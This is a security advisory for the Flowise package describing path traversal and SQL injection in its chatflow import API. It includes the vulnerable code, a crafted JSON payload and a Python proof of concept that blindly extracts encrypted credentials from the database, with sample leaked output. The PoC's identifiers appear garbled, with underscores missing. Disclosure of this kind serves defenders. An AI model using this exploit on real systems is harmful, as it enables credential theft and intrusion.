PT-2025-15901 · Npm · Flowise
Published
2025-04-07
·
Updated
2025-04-07
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L |
Summary
import functions are vulnerable.
Details
Authenticated user can call importChatflows API, import json file such as
AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.Issue 1 (Bug Type)
- Malicious user creates
AllChatflows.jsonfile by adding../and arbitrary path to the chatflow.id of the json file.
json
{
"Chatflows": [
{
"id": "../../../../../../apikey",
"name": "clickme",
"flowData": "{}"
}
]
}- Victim download this file, and import this to flowise.
- When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type)
importChatflows API use unsafe SQL Query.
javascript
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})It changes like
SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.PoC
python
import argparse
import requests
def import chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import normal data(
api url: str,
token: str,
normal data: str
):
data id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data id,
"name": normal data,
"flowData": "{}"
}
]
}
import chatflows(
url=api url,
token=token,
payload=payload
)
return data id
def get character(
api url: str,
token: str,
data id: str,
column name: str,
index: int
):
injection query = f'(SELECT ascii(substr({column name},{index},1)) FROM credential limit 0,1)'
def create payload(
c: int
):
return f"{data id}') and if (({injection query})<{c}, 0, 9e300 * 9e300); -- "
chatflows json = {
"Chatflows": [
{
"id": "",
"name": data id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create payload(c=character + bit)
chatflows json['Chatflows'][0]['id'] = payload
res = import chatflows(
url=api url,
token=token,
payload=chatflows json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get length(
api url: str,
token: str,
data id: str,
column name: str
):
injection query = f'(SELECT length({column name}) FROM credential limit 0,1)'
def create payload(
c: int
):
return f"{data id}') and if (({injection query})<{c}, 0, 9e300 * 9e300); -- "
chatflows json = {
"Chatflows": [
{
"id": "",
"name": data id,
"flowData": "{}"
}
]
}
column len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create payload(c=column len + bit)
chatflows json['Chatflows'][0]['id'] = payload
res = import chatflows(
url=api url,
token=token,
payload=chatflows json
)
if 'DOUBLE value is out of range' in res['message']:
# column len is more then bit
column len += bit
else:
# column len is less then bit
column len += 0
return column len
def main(
url: str,
token: str
):
api url = url
column box = [
'credentialName',
'encryptedData'
]
data id = import normal data(
api url=api url,
token=token,
normal data='flow01'
)
for column name in column box:
column len = get length(
api url=api url,
token=token,
data id=data id,
column name=column name
)
print(f'[+] {column name} length is {column len}')
result = ''
for i in range(column len):
result += get character(
api url=api url,
token=token,
data id=data id,
column name=column name,
index=i + 1
)
print(f'[+] {column name}: {result}')
if name == ' main ':
parser = argparse.ArgumentParser()
parser.add argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m args = parser.parse args()
main(
url=m args.url,
token=m args.access
)poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Flowise